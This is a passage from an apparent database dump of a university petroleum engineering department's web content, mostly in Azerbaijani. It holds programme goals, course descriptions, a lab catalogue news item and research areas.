<p><strong>Major Elective</strong> (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong><br></strong></p><p><strong>Total – 60 KU credits (120 ECTS)</strong></p>\r\n<p><strong><br></strong></p><p><strong>Elective\r\nmajor subjects:</strong></p>\r\n<p>PETE 565: Fluid flow in Porous Media </p>\r\n<p>PETE 572: Enhanced Oil Recovery</p>\r\n<p>PETE 578: Non- Newtonian Systems Applications in\r\nPetroleum Production &nbsp;&nbsp;</p>\r\n<p>PETE 582: Phase Behavior of\r\nPetroleum Reservoir Fluids</p></div>'),(1103,272,'az','Məqsədlər','Məqsədlər','<p>Department neft mühəndisliyi üzrə&nbsp;Bakalavr, Magistratura və Fəlsəfə doktorluğu proqramları üzrə kadr hazırlığı həyata keçirir.</p><p>&nbsp;Bakalavr proqramının&nbsp;əsas məqsədi məzunlar üçün neft mühəndisliyinin müəyyən problemləri haqqında müasir biliklər əldə etmək üçün riyaziyyat və&nbsp;fizikanın tətbiqinin&nbsp;prinsipləri əsasında&nbsp;elm və texnologiya əsaslarını mənimsəməklə neft mühəndisliyi problemlərinin həll edilməsi istiqamətində aşağıdakı bilik və bacarıq qabiliyyətini aşılamaqdır:</p><ul><li>Layihələndirmə işlərininin həyata keçirilməsi&nbsp;və eksperimentlər aparılması;</li><li>Məlumatların təhlil edilməsi&nbsp;və interpretasiyası;</li><li>Müasir texnologiya və mühəndislik vasitələrindən istifadə etməklə müvafiq sistemlərin, komponentlərin və proseslərin layihələndirilməsinin həyata keçirilməsi.</li></ul><p><strong>&nbsp;Magistratura&nbsp;və Fəlsəfə doktorluğu proqramlarının əsas məqsədləri aşağıdakılardır:</strong></p><ul><li>Neft mühəndisliyi&nbsp;ilə əlaqədar müxtəlif sahələrdə ixtisaslaşma imkanları;</li><li>Tələbələrdə tədqiqat aparma prosesində təhlil&nbsp;və sintez bacarıqlarının&nbsp;inkişaf etdirilməsinə kömək etmək;</li><li>Tələbələri müasir dünyada vacib olan dərin nəzəri və tətbiqi təlimlərlə təmin eetmək;</li><li>Tələbələləri qabaqcıl təhsil və tədqiqat üçün hazırlamaq.</li></ul><p><strong>Əsas ixtisas kurs modulları aşagıdakılardır:</strong></p><ul><li>Mühəndisliyin əsasları</li><li>Neft və qaz geologiyası və geofizikası</li><li>Neft Və qaz yataqlarının işlənməsi</li><li>Neft və qaz resurslarının çıxarılma texnologiyası</li><li>Qazıma Mühəndisliyi</li></ul><p>Kurslar neft mühəndisliyi və yer elmlərinin müvafiq sahələrini əhatə edənı mühazirələr, seminarlar, və müvafiq praktiki dərslər şəklində həyata keçirilir.</p><p>Mühazirə və seminarların əsas vəzifəsi&nbsp;ideya və metodların mübadiləsi əsasında&nbsp;neft və qaz yataqların real qiymətləndirilməsi və işlənməsi problemlərinin həllinə tətbiq oluna bilən layihələndirmə işlərinin yerinə yetirlməsidir.</p>'),(2087,1280,'az',' Xəzər Universitəsinin laborotoriyaları haqqında yeni kataloq çapdan çıxdı. ','Xəzər Universitəsinin Nəşriyyatında nəfis tərtibatla hazırlanmış “ Texnoloji laborotoriyalar və mərkəzlər” kataloqu iyul ayında çapdan çıxmışdır...','<p> Xəzər Universitəsinin Nəşriyyatında nəfis tərtibatla hazırlanmış “\r\n Texnoloji laborotoriyalar və mərkəzlər” kataloqu iyul ayında çapdan \r\nçıxmışdır. Kataloq 128 səhifədən ibarətdir. Kataloqun tərtibatçısı Xəzər\r\n Universitəsinin İdarərtmə və Tələbə İşləri üzrə prorektoru İsaxan \r\nİsaxanlı, korrektoru Martha Lawry, dizayneri Sevinc Şəfiyevadır. \r\nKataloqda Xəzər universitəsində yeləşən zəngin laborotoriya və mərkəzlər\r\n haqqında geniş məlumat verilmişdir. </p>'),(1104,274,'az','Fənlər','Fənlər','<p><strong><em>PETE 202: Neft Mühəndisliyinə Giriş (6 kredit)</em></strong></p>\r\n<p>Kurs əsasən tələbələrin neft\r\nsənayesinin əsas konsepsiyaları ilə tanış olmaq üçün tərtib edilib.\r\nBurada&nbsp;neftin&nbsp;fiziki və kimyəvi xassələri, onun tarixi və dünyada\r\nneftə və qaza olan təlabat, neft axtarışına, işlənmə növlərinə və mühəndislik\r\nkonsepsiyası məsələlərinə, istismarın növləri və təbii karbohidrogenərin emalı\r\nvə nəqli məsələlərinə baxılır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>GEOL\r\n203: Neft Geologiyası</em></strong><strong><em> (6 kredit)</em></strong><em></em></p>\r\n<p>Yer və onun təbiəti, Mineral və\r\nSüxurlar. Süxurların dövran modeli. Çökmə hövzələri. Çöküntütoplanma\r\nşəraitləri, transqressiya və&nbsp;reqressiya, Sedimentalogiyanın prinsipləri.\r\nÇökmə süxurların məsaməliyi və keçiriciliyi, Çöküntülərin laylanması və çökmə\r\nstrukturlarının əmələgəlmə mexanizmləri. Klastik və karbonat çökmə şəraitləri.\r\nNeft axtarışı və onun elementləri. Neft Sistemləri və onun element və\r\nprosesləri. Struktur geologiya. Xəritəalma</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 302: Qazıma Mühəndisliyi (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Qazıma avadanlığı: quyu və\r\navadanlıq. Flüidlərin qazıması və hidravlikası. Sement və Hidravlika. Qazılan\r\nquyuların sınanması (baltanın məhsuldarlığı). Təzyiqə nəzarət. Qazıma\r\nprosesində ölçmələr. İstigamətli qazıma (tangensial,əyriliyin müəyyən edilməsi,\r\nminimum əyrilik üsulları). Qazıma kəmərinin layihələndirilməsi. Kəmərlərin\r\nnövləri (ikioxlu,üçoxlu). Kəmərlərin buraxılması (əyilmə və quyu ağzı\r\nyüklənmə).</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><em>&nbsp;</em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 303: Neft və Qaz laylarının fizikası (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Lay süxurlarının məsaməlik\r\nvə keçiricilik xassələri, elektrik xassələri, flüidlə doymuş məsaməli\r\nmühitin xassələri, nisbi keçiricilik. Məsaməli süxurların mexananiki xassələri,\r\nsüxurların çatları və karbonatlılıq tərkibi. Nyuton və Qeyri-Nyuton neftlərinin\r\nxassələri. THT və lay flüidlərinin hərəkət fazası.Su və qaz vurma ilə məsaməli\r\nmühitdə neftin yerdəyişməsinin əsas fizikası. Suvurmanın əsaslandırılması</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 312: Quyuların geofiziki tədqiqi (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Qamma şüalanma, potensial,\r\nqalınıq ölçən, müqavimət, sıxlıq neytron, akustik, sement və sıxlıq\r\nmüxtəlifliyi prinsipləri və əməliyyatları həyata keçirən karotaj növləri. Quyu geofiziki\r\ntədqiqat avadanlıqlarının diametri. Quyu karotajlarının interpretasiyası və\r\nonların qrafiki təsvir texnikası. Formasiyaların xassələrinin, o cümlədən\r\nməsaməliyin, karbohidrogen doyumluluğunun, litologiyanın,qalınlıq zonasının\r\nmüəyyən edilməsi. Qaslı formasiyaların korelyasiyası və ehtimal edilən\r\nresursların müəyyən edilməsi. Sahə şəraitinə uyğun karotaj növlərinin\r\nseçilməsi qaydaları.</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 341: Karbohidrogen Laylarının Riyazi Modellənməsi (6\r\nkredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Riyazi modelləmənin əsas\r\nprinsipləri. Məsaməli mühitdə bir və çoxfazalı axının tənliklərinin\r\nmüəyyən edilməsi. Sonlu müxrəkkəblik/Sonlu element tənliklərinin\r\nxarakteristikası. İlkin matriks problemlərinin strateji texnikasının həll\r\nedilməsi. Modelləmə məsələlərində məlumatların qiymətləndirilməsi. Məsələlərin\r\nhəlli.</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><em>&nbsp;</em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 402: Neftçıxarma Texnologiyası (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Qazıma kəmərlərində lay\r\nsınanması. Quyuların tamamlama üsulları, Tamamlama məhlulları və quma\r\nqarşı mübarizə. Perforasiya və quyuağzı avadanlıq və axın pequlyatoru, hasilat\r\npakerləri, neft və qaz separatorları.</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Fontan quyusunun\r\nxarakteristikası və neft və qaz quyularının əlaqəli sistem üsulları.\r\nMexanikləşmiş hasilat üsulları. Ştanq nasosları və quyuların istismarı,\r\nQazlift yükləyici electrik nasos aqreqatı, hidavlik nasos aqreqatı, Məhsuldar\r\nlayın zədələnməsi, Quyulara təsir texnikası, hidravlik parçalanmaş Hasilatın\r\ndüşməsinin təhlili</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 403: Neft Yataqlarının İşlənməsi (8 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Karbohidrogenlərin məsamə həcmi\r\nvə çıxarılma faktorunun hesablanması. Lay neftlərinin təsnifatı. Balans\r\nehiyatıini isifadə edərək drenaj və sıxışdırma mexanizmlərinin\r\nəlaqələndirilməsi, qazin, suyun, qaz papağının sixışdirlmasının həlli üçün\r\nlayların məhsuldarlığının qiymətləndirilməsi. Sulaşma nəzəriyyəsi. Çatlı\r\nlayların xarakteristikası. Məsaməlı mühitdə dayanıqlı və dayanıqsız bir fazalı\r\naxının tənlikləri. Məsaməli mühitdə çoxfazalı axın. Təzyiq və indikatorun\r\ntəsiri ilə bircinsli və müxtəlif çinsli laylarda işlənmənin xarakteristikası.</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 405: Neft yataqlarının işlənməsində Statistik təhlil (6\r\nkredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Bu kursun məqsədi uyğun\r\nstatistik üsulları nəzərdən keçirmək və onları petrofizikaya və ədədi\r\nqiymətləndirməyə tətbiq etməkdir. Nümunə götürmə proqramının planlaşdırılması.\r\nXətti reqresiya və korrelyasiya və onların işlənməyə tətbiqi</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 415: Qaz və Qaz- kondensat yataqların işlənməsi (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Təbii qazların mənşəyi və\r\nxarakteristikası. Qaz ehtiyatlarının hesablanması. Qaz quyularının sınanması.\r\nQaz ayrılmasının müəyyən edilməsi. Qaz axının ölçülməsi. Təbii qaz təminatı,\r\nneftyığımı sistemınin layihələndirilməsi, Qaz- kondensat yataqlarının\r\nişlənməsi. Dövran prosesi. Təbii qazların təmizlənməsi və emali. Yeraltı\r\nqaz ambarı</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 419: Sağlamlıq, Təhlükəsizlik və Ətraf mühit (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Yataqların istismar davamlılığı\r\ndövranı elementləri və ətraf mühit sistemləri. Beynəlxalq ekologiya\r\nstandartları. Ekologiya məlumatlarının toplanması. Ekoloji nəzarət və standart\r\nsınaq üsulları. Çirklənmə təhlilləri və onların qarşısının alınması.\r\nLaylara suvurulması. Neftli suların təmizlənməsi. Qazıma məhlullarının\r\ntəmizlənməsi. Enerjinin optimallaşdırılması. Birləşmiş Gas türbini və axın\r\nturbini dövranı. Quyuda axın turbini. Qazıma prosesində, quyuların sınanmasında\r\nvə neft və qaz şıxarılmasında təhlükəsizliyin aspektləri</p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 450: Yay Təcrübəsi (6 kredit)</em></strong><em></em></p>\r\n<p class=\"a\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Yay təcrübəsi neft mühəndisliyi\r\ntələbələrinin qazıma əməliyyatlar, neftcıxarma və neft və qaz\r\nyataqlarınınişlənməsi təcrübəsi və avadanlıqları ilə tanış etmək məqsədi\r\ndaşıyır.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 505: Ali Qazıma Mühəndisliyi</em></strong><strong><em>&nbsp;</em></strong><em>(<strong>\r\n6 kredit)</strong></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Qazıma\r\nmühəndisliyində ali məsələlər.Bu məsələlər yeni texnologiyaların tətbiqi ilə\r\npredmetin müxtəlif sahələri ilə əlaqədar tədrisin aparılmasını nəzərdə tutur.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 510: Dənizdə Neft və Qaz yataqlarının\r\nişlənməsi (6 kredit)&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Dəniz\r\nneft və qaz yataqlarının işlənmə xüsusiyyətləri. Dənizdə qazıma, quyuların\r\nsınanması və neftçıxarma texnologiyası. Dəniz platformaları. Dənizdə yüklə üzən\r\nplatformalar. Sualtı neftcıxarma texnologiyası. Sualtı quyuların tamamlanması.\r\nDəniz neftlərinin daşınması.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 531: Neft Geologiyası və Geofizikası</em></strong><strong><em>&nbsp;</em></strong><em>(<strong>6\r\nkredit)</strong></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Çöküntü\r\nhövzələri. Çökmə süxurlar və onların fiziki-kimyəvi xüsusiyyətləri.\r\nSedimentalogiya konsepsiyası. Məsaməlik və keçiriciliyin xüsusiyyətləri.\r\nÇöküntülərin laylanması və struktur formaları. Clastik çökmə şəraitləri. Karbonat\r\nçökmə şəraitləri. Neft və qaz axtarışı konsepsiyası və onun vacib elementləri.\r\nNeftaxtarışında risk analizi. Neft sistemləri və onların element və prosesləri.\r\nXəritəalma və onun növləri. Neft və qaz resurslarının həcmi hesablanması.\r\nGeoloji statistik məlumatların təhlili. Quyu geofiziki məlumatlarının\r\nkorelyasiyası. Neft və qaz yataqlarının axtarışında geofizik üsullar.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 539: Karbohidrogen Yataqlarının\r\nModellənməsi (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Dayanıqsız\r\nşəraitin inkişaf etdirilməsi, karbohidrogen yataqlarının fluid axını tənlikləri\r\nvə sonlu müxtəliflik üsulunun tənliklərin həllində tətbiqi<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 540: Ali Neft və Qaz Yataqlarının\r\nİşlənməsi</em></strong><strong><em>&nbsp;</em></strong><em>(<strong>6\r\nkredit)</strong></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Neft və\r\nqaz yataqlarının işlənməsində ali məsələlər. Bu məsələlər yeni texnologiyaların\r\ntətbiqi ilə predmetin müxtəlif sahələri ilə əlaqədar tədrisin aparılmasını\r\nnəzərdə tutur.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><br><strong></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 541: Formasiyaların Qiymətləndirilməsi\r\n(6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Neft və\r\nqaz resurslarının kəmiyyətcə qiymətləndirilməsində quyu geofiziki tədqiqatların\r\nnəzəriyyəsinin, quyuların sınanma nəticələrinin və məlumatların laborator\r\ntəhlilinin tətbiqi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 548: Ali NeftçıxarmaTexnologiyası (6\r\nkredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Neft\r\nsənayesinin iqtisadi qiymətləndirməsinin seçilmiş məsələləri, o cümlədən, dənizdə\r\nneftçıxarma əməliyyatları, layihələndirmənin qiymətləndirilməsi və\r\nseçilməsi, capital qoyuluşu, uzun müddətə neft və qaz yataqlarının işlənmə\r\nlayihələri və neftvermənin artırılması üçün artım təhlili.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE\r\n551: Neft və qaz yataqlarının işlənməsinin layihələndirilməsi (6 kredit)</em></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Neft və\r\nqaz yataqlarının işlənmə planının məlumatları. Quyuların yerləşmə sxemləri.\r\nLayın təbii rejim mexanizminin qiymətləndirilməsi. Sulaşma ilə neft\r\nyataqlarının işlənməsi. Hasilatın və surejimli laylar üçün suvurma təzyiqinin\r\nhidrodinamik hesablanması. Layın daxilinə su və qazvurmanın hidrodinamik\r\nhesablanması. Neft laylarının layihələləndirilməsinin iqtisadi\r\nqiymətləndirilməsi. Neftçıxarmanın səviyyəsinin optimallaşdırılması. İqtisadi\r\nçərçivədə neftvermənin maksimuma çatdırılması. Neft yataqlarının\r\nişlənməsinin təhlili və idarə olunması.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE\r\n562: Ali Təbii Qaz Mühəndisliyi (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Həcmi\r\nqaz yataqları üçün material balans texnikası. Geo-təzyiqli qaz yataqları.\r\nKəmərlərdə təbii qazın axını. Qaz quyularının sınanması, psevdofunksiyalar,\r\nartım və axın sınanması. Qaz quyularının hasilat sınanması. Axından sonar axın,\r\nizoxron və modifikasiya edilmiş izoxron sınanmaları. Qaz quyularının uzun\r\nmüddətli pronoz qiymətləndirilməsi</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 563: Neft və Qaz Yataqlarının\r\nmenecmenti və qiymətləndirilməsi (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Mühəndislik\r\nmexanizmləri. Yataq məlumatlarından istifadə edərək layların təsviri və təhlili\r\n. Qazvurma ilə istismar xüsusiyyətinin gələcək üçün proqnozu. Yataq misalları\r\nilə material balans texnikası.<strong></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 570: Neft Yataqlarının Ədədi\r\nmodellənməsi (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Məsaməli\r\nmühitdə birfazalı axını üçün hissəli differensial tənliklərin müxtəliflik\r\nsxemləri. Qridlərin planı, növü və sərhəd şəraitləri. Həll üsulları. Muasir\r\nneftcıxarmada istifadə edilən müxtəliflik, modellər və qərarların qəbul\r\nedilməsi.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 572: Neftvermənin Yüksəldilməsi\r\nÜsulları (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Suvurma\r\nvə Dövrani təsirlər. Laya yüksək təzyiqli qaz və CO<sub>2&nbsp;</sub>vurmaqla qalıq neftin\r\nçıxarılması. Polimer və&nbsp;termal\r\n(istisu, buxar) usulların xassələri. Səthi aktiv maddələr və turşular. Fiziki\r\nüsullarla təsir (təzyiq, maqnitsahəsi, elektrik sahəsi). İkinci dərəcəli\r\nneftvermə üsullarının texnoloji xüsusiyyətləri. Laydaxili yanma. Yatağın\r\nlayihələndirmə parametrləri.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 578: Neftçıxarma Texnologiyasında\r\nQeyri-Nyuton Sistemləri (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Nyuton\r\nsistemlərinin təsnifatı. Qeyri-Nyuton sistemlərinin reologiyası və\r\ntermodinamikası. Neft kəmərlərində Qeyri-Nyuton neftlərinin xını. Məsaməli\r\nmühitdə Qeyri-Nyuton sistemlərinin axını. Ümumiləşmiş Darsi qanunu. Qeyr-Nyuton\r\nneftlərinin davamlı hərəkəti. Məsaməli mühitdə Qeyri-Nyuton neftlərinin təzyiq\r\ndüşgüsü. Qeyri-Nyuton sistemi ilə məsaməli mühitdə neftin yerdəyişməsi.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong><em>PETE 600: Magistr Tezisi (24 ECTS kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Elmi-Tədqiqat\r\nişi. Elmi rəhbərin tapşırığı ilə tələbə tərəfindən yerinə yetirilən individual\r\ntəqiqat işi. Onun nəticələri Teziz formasında təqdim edilməli və müdafiə\r\nolunmalıdır.</p>'),(1105,275,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Departamentdə Neft\r\nMühəndisliyinin müxtəlif sahələri üzrə tədqiqatlar aparılır.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tədqiqatların əsas\r\nistiqamətləri aşağıdakılardır:</p><ul><li>Neft və qaz yataqlarının kəşfiyyatı, işlənməsi\r\nvə istismarı</li><li>Neftvermənin artırılması</li><li>Təbii qaz mühəndisliyi</li><li>Neftin çıxarılmasında qeyri-Nyuton\r\nsistemlərinin tətbiqi</li><li>Neft və qazın geologiyası və geofizikası</li><li>Petrofizika</li><li>Başqa sahələr</li></ul>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Departamentdə aparılan müxtəlif istiqamətli tədqiqatlar müasir\r\nneft və qaz sənayesinin problemlərinin həll edilməsi üçün və eləcə də fundamental\r\nelmi-tədqiqatlar istiqamətində böyük\r\nəhəmiyyətə malikdir. Departament hal-hazırda yuxarıda qeyd olunan\r\nistiqamətlərdə sənayenin tələblərinə cavab verən tədqiqatlar həyata keçirir və gələcəkdə də bu istiqamətdə geniş spektrli tədqiqatların\r\naparılmasını planlaşdırır.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Departamentdə 2 laboratoriya yaradılmış və onlar həm təlim\r\nvə həm də tədqiqat məqsədi üçün istifadə edilir:</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">1. Neft\r\nvə qaz mühəndisliyi təlim və tədqiqat\r\nlabotaroriyası</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-indent:-.25in;line-height:normal;background:white\"\"=\"\">2. Neft və qaz yataqlarının 